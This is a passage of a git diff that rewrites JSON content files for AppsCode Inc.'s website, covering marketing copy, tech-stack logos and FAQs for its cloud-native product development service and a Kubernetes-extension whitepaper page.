integrating cloud-native microservices and machine learning pipelines." - }, - { - "icon": "fa fa-plug", - "title": "Energy & Utilities", - "description": "Modernize monitoring, inspections, and analytics platforms to visualize data, optimize resources, and reduce operational costs." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "Process sensitive patient data securely and at scale using cloud GPU instances, containerized workloads, and robust compliance practices." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Deliver seamless booking experiences and dynamic operational systems backed by flexible, scalable, and cost-efficient cloud-native platforms." - } - ] - }, - "tech_stack": { - "title": "Comprehensive Cloud-Native Tech Expertise", - "subtitle": "Our engineering teams work across the languages, frameworks, and platforms that power modern cloud-native solutions:", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "why_choose_us": { - "title": "Why Leading Companies Partner with AppsCode Inc.", - "reasons": [ - { - "icon": "fa fa-cog", - "title": "Dedicated Cloud-Native Architects", - "description": "A senior cloud-native architect leads every engagement, aligning technical decisions with business outcomes and acting as your single point of accountability." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Deep Kubernetes & DevOps Expertise", - "description": "Our teams have delivered 100+ cloud-native products, combining practical experience in Kubernetes, microservices, and DevOps to reduce risk and accelerate delivery." - }, - { - "icon": "fa fa-users", - "title": "Balanced Team Structure", - "description": "We blend experienced architects with creative engineers, fostering rapid innovation while preserving production-grade reliability." - }, - { - "icon": "fa fa-wrench", - "title": "Seamless Engineering Extension", - "description": "Easily scale your development team with our vetted cloud-native experts, reducing hiring time and overhead." - } - ] - }, - "resources": { - "title": "Cloud Native Product Development Resources", - "items": [ - { - "type": "Blog", - "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", - "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" - }, - { - "type": "Blog", - "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", - "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" - }, - { - "type": "Event", - "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", - "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", - "link": "https://appscode.com/blog/post/kubecon-na-2024/" - } - ] - }, - "final_cta": { - "title": "Ready to Build Scalable Cloud-Native Products?", - "subtitle": "Connect with AppsCode Inc. to explore how our Kubernetes, DevOps, and microservices expertise can accelerate your product roadmap and reduce operational risk.", - "buttons": [ - { - "text": "Schedule a Call", - "icon": "fa fa-calendar", - "type": "outlined" - }, - { - "text": "Download Case Study", - "icon": "fa fa-download", - "type": "primary" - } - ] - }, - "faq": [ - { - "question": "What does your Cloud Native Product Development service include?", - "answer": "Our Cloud Native Product Development service covers the full product lifecycle — from idea discovery and MVP creation to DevOps, launch, and scaling. We combine Kubernetes, microservices, and agile practices to deliver secure, high-quality software faster." - }, - { - "question": "Which technologies and best practices do you use for cloud-native development?", - "answer": "We use Kubernetes orchestration, microservices architecture, CI/CD pipelines, Infrastructure as Code, observability, and automated testing. These cloud-native practices help teams build scalable and reliable products efficiently." - }, - { - "question": "Can you work with our existing roadmap or tech stack?", - "answer": "Yes. Whether you already have a roadmap or need to start from scratch, our engineers can modernize your stack or build a new cloud-native product that aligns with your goals and accelerates time to market." - }, - { - "question": "What is the typical timeline and engagement model?", - "answer": "Most projects start with a short discovery phase (1–2 weeks) to define scope and architecture, followed by 4–8 week agile sprints. Engagements can be fixed-scope, time-and-materials, or long-term dedicated engineering support." - }, - { - "question": "Do you support multi-cloud or hybrid cloud deployments?", - "answer": "Absolutely. We design every cloud-native product to run seamlessly on AWS, Google Cloud, Azure, or on-premises Kubernetes clusters. This ensures portability and operational consistency across environments." - }, - { - "question": "How do you ensure product quality, security, and reliability?", - "answer": "We build quality and security into every stage through automated testing, peer reviews, CI/CD, and monitoring. Security is enforced with container isolation, RBAC, and vulnerability scanning. Our cloud-native approach ensures high reliability and resilience." - }, - { - "question": "What happens after we launch the product?", - "answer": "Post-launch, we help you measure performance, optimize infrastructure, and scale efficiently. Our experts ensure your product evolves with your business while maintaining cost efficiency." - }, - { - "question": "How much does Cloud Native Product Development cost?", - "answer": "Cost depends on complexity, scope, and support needs. We offer flexible pricing options — from fixed-price MVP builds to time-based engagements and long-term retainers. A detailed proposal follows our discovery phase." - } - ], - "meta_title": "Cloud-Native Product Development | AppsCode Inc. Expertise in Kubernetes, DevOps & Microservices", - "meta_description": "Explore AppsCode Inc.'s cloud-native development services. Expert Kubernetes, DevOps, and microservices engineering to build scalable, resilient, and cost-efficient cloud-native solutions." -} +{ + "hero": { + "title": "Cloud Native Product Development That Scales Seamlessly", + "subtitle": "AppsCode Inc. empowers businesses with end-to-end cloud native product development — combining Kubernetes, DevOps, and microservices to deliver secure, resilient, and high-performing software faster.", + "cta_text": "TALK TO CLOUD-NATIVE EXPERTS", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/product-engineering-cloud-native-product-development-hero.png", + "alt": "Cloud Native Product Development and Engineering" + } + }, + "trusted_by": { + "title": "Trusted by Leading Global Enterprises and Startups" + }, + "cards": { + "title": "Expert Cloud Native Product Development Services", + "subtitle": "AppsCode Inc. helps technology leaders architect and deliver modern products using cloud-native development approaches, Kubernetes orchestration, and automated DevOps workflows.", + "items": [ + { + "icon": "fa fa-users", + "title": "On-Demand Cloud-Native Engineers", + "description": "Accelerate product delivery with expert engineers skilled in Kubernetes, cloud native development, and microservices-based architectures." + }, + { + "icon": "fa fa-cloud", + "title": "Deep Cloud-Native Expertise", + "description": "Leverage best practices in containerization, service mesh, CI/CD automation, and production-grade orchestration for cloud-native success." + }, + { + "icon": "fa fa-bolt", + "title": "Flexible Engineering Bandwidth", + "description": "Increase capacity for prototyping, sprint bursts, or sustained product work — delivering features faster while maintaining code quality." + }, + { + "icon": "fa fa-rocket", + "title": "MVP Development for Startups", + "description": "Move from idea to validated MVP quickly using microservices patterns, automated CI/CD, and Kubernetes-ready deployments." + }, + { + "icon": "fa fa-envelope-o", + "title": "Reliable Cloud-Native Product Support", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-money", + "title": "Optimized Cost Efficiency", + "description": "Design cost-aware cloud-native architectures that reduce cloud spend through efficient autoscaling and resource management." + } + ] + }, + "golang_expertise": { + "title": "Leverage Golang for High-Performance Cloud Native Applications", + "subtitle": "Build lightweight, maintainable, and high-throughput cloud-native applications with AppsCode Inc.’s Golang engineers, ideal for Kubernetes microservices and backend systems.", + "cta_text": "Meet our Experts", + "services": [ + { + "icon": "fa fa-cog", + "title": "End-to-End Product Engineering", + "description": "From service design to production deployment, our Golang teams deliver scalable, observable, and maintainable cloud-native applications." + }, + { + "icon": "fa fa-ticket", + "title": "Comprehensive Testing", + "description": "Ship reliable software with automated unit, integration, and end-to-end testing pipelines tailored for microservices and containerized workloads." + }, + { + "icon": "fa fa-wrench", + "title": "Proactive Maintenance", + "description": "Keep applications secure and up-to-date with ongoing maintenance, dependency management, and performance tuning in production." + }, + { + "icon": "fa fa-life-ring", + "title": "24/7 Cloud-Native Support & Monitoring", + "description": "Get real-time assistance for incidents, scaling, and performance optimization, keeping your product always production-ready." + } + ] + }, + "title_with_small_cards": { + "title": "Accelerate Cloud Native Product Development with AppsCode", + "subtitle": "We support product teams across critical domains for cloud-native success:", + "areas": [ + { + "icon": "fa fa-cloud", + "title": "Cloud-Native Development" + }, + { + "icon": "fa fa-shield", + "title": "Software Security & Compliance" + }, + { + "icon": "fa fa-microchip", + "title": "DevOps and DevSecOps Automation" + }, + { + "icon": "fa fa-server", + "title": "Cloud Infrastructure Optimization" + } + ] + }, + "large_preview_cards": { + "title": "Your Strategic Partner in Cloud Native Product Development", + "items": [ + { + "icon": "fa fa-rocket", + "title": "Startups", + "description": "Enable rapid iteration with a small, high-impact engineering team. We help startups design cloud-native architectures that are production-ready and cost-effective." + }, + { + "icon": "fa fa-building", + "title": "SMEs", + "description": "Augment your engineering organization with targeted cloud-native capabilities — from Kubernetes operations to CI/CD and microservices design." + }, + { + "icon": "fa fa-industry", + "title": "Enterprises", + "description": "Modernize legacy applications at scale. AppsCode Inc. helps enterprises migrate, secure, and operate cloud-native platforms across hybrid and multi-cloud environments." + } + ] + }, + "cards_group": { + "title": "Flexible Engagement Models for Cloud-Native Development", + "models": [ + { + "number": "01", + "title": "Team Extension", + "description": "Plug experienced cloud-native engineers into your teams to accelerate delivery while preserving governance and product vision." + }, + { + "number": "02", + "title": "End-to-End Product Development", + "description": "Hand off product development from ideation through launch — AppsCode Inc. handles architecture, implementation, and operational readiness." + }, + { + "number": "03", + "title": "Fixed Scope Projects", + "description": "Deliver targeted features or migrations with clear scope, milestones, and measurable outcomes for predictable investments." + } + ] + }, + "development_process": { + "title": "Our Proven Cloud Native Product Development Process", + "subtitle": "We combine disciplined processes, DevOps practices, and pragmatic engineering to deliver predictable, high-quality cloud-native products.", + "steps": [ + { + "date": "01", + "month": "Step", + "title": "Discovery & Strategy", + "active": false + }, + { + "date": "02", + "month": "Step", + "title": "MVP Design", + "active": false + }, + { + "date": "03", + "month": "Step", + "title": "Development & QA", + "active": true + }, + { + "date": "04", + "month": "Step", + "title": "Launch", + "active": false + }, + { + "date": "05", + "month": "Step", + "title": "Scale & Optimize", + "active": false + } + ], + "active_content": [ + { + "image": "/assets/images/services/steps/discover-opportunities.png", + "description": "We start by understanding your business goals, challenges, and target users. Through workshops and research, we identify opportunities where cloud-native technologies can deliver maximum impact. This phase ensures alignment between product vision and market needs.", + "active": false + }, + { + "image": "/assets/images/services/steps/build-mvp.png", + "description": "We translate validated ideas into a Minimum Viable Product (MVP) to test core hypotheses quickly. Our cross-functional teams focus on delivering tangible value using modern cloud-native stacks and CI/CD pipelines for fast feedback and iteration.", + "active": false + }, + { + "image": "/assets/images/services/steps/development.png", + "description": "After validating the MVP and defining requirements, our engineers work iteratively with your product teams. We leverage Kubernetes for orchestration, microservices for modularity, and DevOps pipelines for continuous delivery — ensuring each release is observable, secure, and ready for scale.", + "active": true + }, + { + "image": "/assets/images/services/steps/launch.png", + "description": "Once the product meets stability and performance benchmarks, we prepare for production launch. This includes final validation, observability setup, and rollout strategies to ensure smooth deployment across environments with zero downtime.", + "active": false + }, + { + "image": "/assets/images/services/steps/scale.png", + "description": "After launch, we continuously monitor performance and user metrics to identify growth opportunities. We help scale your platform with advanced automation, resilience strategies, and optimization of cloud resources for cost efficiency and performance.", + "active": false + } + ] + }, + "industries": { + "title": "Industry Expertise That Drives Results", + "subtitle": "With experience across 100+ clients, AppsCode Inc. understands industry-specific compliance, scale, and reliability demands when building cloud-native solutions.", + "additional_text": "From global enterprises with distributed datacenters to fast-growing startups, we deliver practical cloud-native strategies tailored to your business.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Banking and Finance", + "description": "Design secure, compliant, and highly available systems for payments, digital banking, and financial services that demand 24/7 reliability." + }, + { + "icon": "fa fa-laptop", + "title": "Technology & SaaS", + "description": "Build multi-tenant, scalable SaaS platforms with integrated AI and data pipelines optimized for Kubernetes and automated DevOps." + }, + { + "icon": "fa fa-car", + "title": "Automotive", + "description": "Enable connected vehicle services and data-driven features by integrating cloud-native microservices and machine learning pipelines." + }, + { + "icon": "fa fa-plug", + "title": "Energy & Utilities", + "description": "Modernize monitoring, inspections, and analytics platforms to visualize data, optimize resources, and reduce operational costs." + }, + { + "icon": "fa fa-hospital-o", + "title": "Healthcare", + "description": "Process sensitive patient data securely and at scale using cloud GPU instances, containerized workloads, and robust compliance practices." + }, + { + "icon": "fa fa-plane", + "title": "Travel & Hospitality", + "description": "Deliver seamless booking experiences and dynamic operational systems backed by flexible, scalable, and cost-efficient cloud-native platforms." + } + ] + }, + "tech_stack": { + "title": "Comprehensive Cloud-Native Tech Expertise", + "subtitle": "Our engineering teams work across the languages, frameworks, and platforms that power modern cloud-native solutions:", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "why_choose_us": { + "title": "Why Leading Companies Partner with AppsCode Inc.", + "reasons": [ + { + "icon": "fa fa-cog", + "title": "Dedicated Cloud-Native Architects", + "description": "A senior cloud-native architect leads every engagement, aligning technical decisions with business outcomes and acting as your single point of accountability." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Deep Kubernetes & DevOps Expertise", + "description": "Our teams have delivered 100+ cloud-native products, combining practical experience in Kubernetes, microservices, and DevOps to reduce risk and accelerate delivery." + }, + { + "icon": "fa fa-users", + "title": "Balanced Team Structure", + "description": "We blend experienced architects with creative engineers, fostering rapid innovation while preserving production-grade reliability." + }, + { + "icon": "fa fa-wrench", + "title": "Seamless Engineering Extension", + "description": "Easily scale your development team with our vetted cloud-native experts, reducing hiring time and overhead." + } + ] + }, + "resources": { + "title": "Cloud Native Product Development Resources", + "items": [ + { + "type": "Blog", + "title": "Getting Started with Perses The Free, Open Source Grafana Alternative", + "image": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/hero_hu030f24f1ec9a9fe9c13de5ab0e9d783a_31026_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/getting-started-with-perses-the-free-open-source-grafana-alternative/" + }, + { + "type": "Blog", + "title": "Future-Proof Your Data Strategy - Why Kubernetes is the Engine Behind Stateful Workloads & Modern AI", + "image": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_254620_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/future-proof-your-data-strategy-why-kubernetes-is-the-engine-behind-modern-ai-and-stateful-workloads/" + }, + { + "type": "Event", + "title": "KubeConNA Digest - Top Trends and Key Takeaways from This Year’s Event by AppsCode", + "image": "https://appscode.com/blog/post/kubecon-na-2024/hero_hu4319d5ff4a4e9c05cba253c9f6e69f4d_69997_1300x650_fill_q75_box_smart1.jpg", + "link": "https://appscode.com/blog/post/kubecon-na-2024/" + } + ] + }, + "final_cta": { + "title": "Ready to Build Scalable Cloud-Native Products?", + "subtitle": "Connect with AppsCode Inc. to explore how our Kubernetes, DevOps, and microservices expertise can accelerate your product roadmap and reduce operational risk.", + "buttons": [ + { + "text": "Schedule a Call", + "icon": "fa fa-calendar", + "type": "outlined" + }, + { + "text": "Download Case Study", + "icon": "fa fa-download", + "type": "primary" + } + ] + }, + "faq": [ + { + "question": "What does your Cloud Native Product Development service include?", + "answer": "Our Cloud Native Product Development service covers the full product lifecycle — from idea discovery and MVP creation to DevOps, launch, and scaling. We combine Kubernetes, microservices, and agile practices to deliver secure, high-quality software faster." + }, + { + "question": "Which technologies and best practices do you use for cloud-native development?", + "answer": "We use Kubernetes orchestration, microservices architecture, CI/CD pipelines, Infrastructure as Code, observability, and automated testing. These cloud-native practices help teams build scalable and reliable products efficiently." + }, + { + "question": "Can you work with our existing roadmap or tech stack?", + "answer": "Yes. Whether you already have a roadmap or need to start from scratch, our engineers can modernize your stack or build a new cloud-native product that aligns with your goals and accelerates time to market." + }, + { + "question": "What is the typical timeline and engagement model?", + "answer": "Most projects start with a short discovery phase (1–2 weeks) to define scope and architecture, followed by 4–8 week agile sprints. Engagements can be fixed-scope, time-and-materials, or long-term dedicated engineering support." + }, + { + "question": "Do you support multi-cloud or hybrid cloud deployments?", + "answer": "Absolutely. We design every cloud-native product to run seamlessly on AWS, Google Cloud, Azure, or on-premises Kubernetes clusters. This ensures portability and operational consistency across environments." + }, + { + "question": "How do you ensure product quality, security, and reliability?", + "answer": "We build quality and security into every stage through automated testing, peer reviews, CI/CD, and monitoring. Security is enforced with container isolation, RBAC, and vulnerability scanning. Our cloud-native approach ensures high reliability and resilience." + }, + { + "question": "What happens after we launch the product?", + "answer": "Post-launch, we help you measure performance, optimize infrastructure, and scale efficiently. Our experts ensure your product evolves with your business while maintaining cost efficiency." + }, + { + "question": "How much does Cloud Native Product Development cost?", + "answer": "Cost depends on complexity, scope, and support needs. We offer flexible pricing options — from fixed-price MVP builds to time-based engagements and long-term retainers. A detailed proposal follows our discovery phase." + } + ], + "meta_title": "Cloud-Native Product Development | AppsCode Inc. Expertise in Kubernetes, DevOps & Microservices", + "meta_description": "Explore AppsCode Inc.'s cloud-native development services. Expert Kubernetes, DevOps, and microservices engineering to build scalable, resilient, and cost-efficient cloud-native solutions." +} diff --git a/data/services/product-engineering/extending_kubernetes_comprehensive_guide_whitepaper.json b/data/services/product-engineering/extending_kubernetes_comprehensive_guide_whitepaper.json index 1be3b7b695..e3ec115fa7 100644 --- a/data/services/product-engineering/extending_kubernetes_comprehensive_guide_whitepaper.json +++ b/data/services/product-engineering/extending_kubernetes_comprehensive_guide_whitepaper.json @@ -1,158 +1,158 @@ -{ - "hero": { - "title": "Extend Kubernetes with Confidence Using Our Comprehensive Whitepaper", - "subtitle": "Discover frameworks, best practices, and real-world insights to build Kubernetes operators, CRDs, and extend cloud-native capabilities at scale.", - "cta_text": "EMAIL ME THE WHITEPAPER", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/extending-kubernetes-comprehensive-guide-whitepaper.png", - "alt": "Extending Kubernetes with Custom Controllers and CRDs Illustration" - } - }, - "service_details": { - "sections": [ - { - "title": "Why Read the Extending Kubernetes Whitepaper?", - "description": "Kubernetes is the backbone of modern cloud-native infrastructure, but real operational challenges require extending its capabilities. This whitepaper shows how to leverage Custom Resource Definitions (CRDs), custom controllers, and operators to tailor Kubernetes to your organization's unique needs.", - "offerings": [ - "Master Custom Resource Definitions (CRDs): Learn to define new resource types aligned with your operational requirements.", - "Build Custom Controllers: Automate resource lifecycles and increase reliability within your Kubernetes clusters.", - "Leverage Frameworks like KubeBuilder & Operator SDK: Simplify operator development and lifecycle management.", - "Explore Real-World Use Cases: Understand how top organizations implement Kubernetes extensions for cloud-native challenges.", - "Adopt Best Practices from Experts: Strategies for designing, deploying, and maintaining scalable, resilient operators." - ], - "image": "/assets/images/services/why-should-read-paper.png" - } - ] - }, - "tech_stack": { - "title": "Expert-Driven Open Source Kubernetes Tools", - "subtitle": "AppsCode engineers are core contributors and maintainers of leading open-source projects that simplify and extend Kubernetes capabilities for global enterprises.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "cta_section": { - "title": "Take Your Kubernetes Expertise to the Next Level", - "description": "Whether you’re modernizing your infrastructure or building complex cloud-native systems, understanding how to extend Kubernetes is key to operational excellence. Get expert insights from Appscode’s engineers and start building resilient, scalable, and future-ready cloud-native platforms.", - "cta_text": "DOWNLOAD THE WHITEPAPER", - "cta_url": "https://appscode.com/contact/" - }, - "faq": [ - { - "question": "What does the \u201cExtending Kubernetes Confidence With Our Whitepaper\u201d cover?", - "answer": "Our whitepaper provides a complete roadmap for extending Kubernetes confidence across your organization — from understanding architectural best practices and security hardening to optimizing workloads for scalability, automation, and resilience in production environments." - }, - { - "question": "Which topics and practices are explained in the Kubernetes whitepaper?", - "answer": "The whitepaper explores Kubernetes orchestration, microservices adoption, CI/CD pipelines, observability, infrastructure as code, and hybrid or multi-cloud deployment models. It’s designed to help teams strengthen operational excellence and build confidence running workloads on Kubernetes." - }, - { - "question": "Is the whitepaper relevant if we already use Kubernetes in production?", - "answer": "Yes — even experienced teams can benefit. The 'Extending Kubernetes Confidence With Our Whitepaper' highlights advanced techniques for optimizing security, resource efficiency, and reliability, helping you identify areas for improvement in existing Kubernetes setups." - }, - { - "question": "How is the whitepaper structured and what can we expect to learn?", - "answer": "It begins with foundational Kubernetes concepts, followed by practical migration strategies, automation workflows, and observability best practices. The goal is to help engineering and DevOps teams make informed decisions and build more confident Kubernetes operations." - }, - { - "question": "Does the whitepaper address multi-cloud or hybrid Kubernetes environments?", - "answer": "Absolutely. It explains how to design and manage workloads across AWS, Azure, GCP, and on-premises clusters. You’ll learn about cross-cloud portability, scaling techniques, and ensuring consistent governance across multiple Kubernetes environments." - }, - { - "question": "How does the whitepaper approach security and reliability?", - "answer": "Security and reliability are key themes. The whitepaper discusses container isolation, role-based access control (RBAC), secrets management, and automated recovery patterns. It helps teams confidently run production-grade Kubernetes clusters with built-in security and resilience." - }, - { - "question": "Who should read the 'Extending Kubernetes Confidence With Our Whitepaper'?", - "answer": "This whitepaper is ideal for DevOps engineers, SREs, architects, and decision-makers looking to improve Kubernetes operations, scale efficiently, and adopt cloud-native best practices with confidence." - }, - { - "question": "How can we access the Kubernetes confidence whitepaper?", - "answer": "You can download it directly from our website. The whitepaper is available for free and provides valuable insights into extending Kubernetes confidence through architecture design, automation, and scalable DevOps practices." - } - ], - "seo": { - "meta_title": "Extend Kubernetes with Custom Controllers and CRDs | Appscode Whitepaper", - "meta_description": "Learn how to extend Kubernetes using CRDs, custom controllers, and operators. This Appscode whitepaper offers expert guidance, real-world examples, and best practices for scalable cloud-native development." - } -} +{ + "hero": { + "title": "Extend Kubernetes with Confidence Using Our Comprehensive Whitepaper", + "subtitle": "Discover frameworks, best practices, and real-world insights to build Kubernetes operators, CRDs, and extend cloud-native capabilities at scale.", + "cta_text": "EMAIL ME THE WHITEPAPER", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/extending-kubernetes-comprehensive-guide-whitepaper.png", + "alt": "Extending Kubernetes with Custom Controllers and CRDs Illustration" + } + }, + "service_details": { + "sections": [ + { + "title": "Why Read the Extending Kubernetes Whitepaper?", + "description": "Kubernetes is the backbone of modern cloud-native infrastructure, but real operational challenges require extending its capabilities. This whitepaper shows how to leverage Custom Resource Definitions (CRDs), custom controllers, and operators to tailor Kubernetes to your organization's unique needs.", + "offerings": [ + "Master Custom Resource Definitions (CRDs): Learn to define new resource types aligned with your operational requirements.", + "Build Custom Controllers: Automate resource lifecycles and increase reliability within your Kubernetes clusters.", + "Leverage Frameworks like KubeBuilder & Operator SDK: Simplify operator development and lifecycle management.", + "Explore Real-World Use Cases: Understand how top organizations implement Kubernetes extensions for cloud-native challenges.", + "Adopt Best Practices from Experts: Strategies for designing, deploying, and maintaining scalable, resilient operators." + ], + "image": "/assets/images/services/why-should-read-paper.png" + } + ] + }, + "tech_stack": { + "title": "Expert-Driven Open Source Kubernetes Tools", + "subtitle": "AppsCode engineers are core contributors and maintainers of leading open-source projects that simplify and extend Kubernetes capabilities for global enterprises.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "cta_section": { + "title": "Take Your Kubernetes Expertise to the Next Level", + "description": "Whether you’re modernizing your infrastructure or building complex 